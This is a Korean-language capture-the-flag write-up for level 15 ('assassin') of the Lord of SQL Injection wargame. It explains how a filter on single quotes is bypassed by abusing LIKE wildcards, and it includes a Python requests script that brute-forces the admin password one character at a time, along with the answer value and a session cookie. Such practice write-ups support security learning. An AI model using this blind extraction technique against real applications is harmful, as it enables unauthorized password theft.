[Lord of SQL Injection] assassin 15번 풀이

[ 문제 접근 ]

1. get방식으로 pw를 입력받고 입력받은 pw를 쿼리의 like 구문안에 넣고 있다.

2. 싱글쿼터를 필터링하고 있다, 즉 like 절을 거짓으로 만든 후 새로운 쿼리를 만드는게 불가능하다.

 

=> like를 통해서 비교를 하고 있다, like는 와일드카드를 통해 패턴을 만들 수 있다.

 

 

<like>

1. %abc : abc로 끝나는 문자열

2. %abc% : abc라는 문자가 어딘가에 존재

3. abc% : abc로 시작하는 문자열

4. _abc : abc 앞에 특정한 한글자가 존재함

5.. a_bc : a와 b사이에 어떤 한글자가 존재함

 

[  % 는 여러개의 문자를 대체 ,  _ 는 단일 문자를 대체  ]

 

[ 문제풀이 ]

<정답> : ?pw=902EFD10

<풀이>

우선 _ 를 사용해 문자열의 길이를 먼저 파악한다.

_ 8개를 사용했을때 나왔으므로 글자는 8글자임을 알 수 있고, 질의 결과 guest가 admin보다 위에 존재한다는 것을 유추할 수 있다.

import requests

url = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
cookies = {"PHPSESSID": "uoaqqo49al5a3l6baodafl6edv"}

length = 8
apw=""
for i in range(1, length + 1):
    for j in range(48,123):
        if chr(j)!="_":
            req = url+f"?pw={apw+chr(j)}%"
            res = requests.get(req,cookies=cookies)
            if "Hello admin" in res.text:
                print("admin :",chr(j))
                apw += chr(j)
                break
            elif "Hello guest" in res.text:
                print("guest :",chr(j))
                gpw = chr(j)
            if j==122:
                apw += gpw
print(apw)

우선 글자를 비교할때 뒤에 %를 붙여서 어떤 문자로 시작하는지 알아냈다.admin과 guest가 동일한 글자를 가졌을 경우도 존재한다, 아까 문자열을 확인할때 참일경우 guest가 먼저 나타난 것을 확인할 수 있었다. 따라서 같은 문자를 가졌을때 admin이 아닌 guest가 나타날 수 있다는 말이다.그러므로 우리는 guest가 출력이 되도 바로 pw에 추가하는 것이 아닌 우리가 지정한 문자열의 범위를 전부 검사해도 admin이 없을 경우 그 부분의 admin과 guest의 pw가 같다고 판단하여 apw에 추가한다.

 

처음 나타나는 if문에서 _ 이 아닐경우만 조회하는 이유는 _는 한가지의 문자를 대체하므로 정확한 pw를 알 수 없기에 제외하였다.

 

  

"ASSASSIN Clear!" 가 나타났다! 정답!

이제 다음 스테이지로 넘어가도록 하자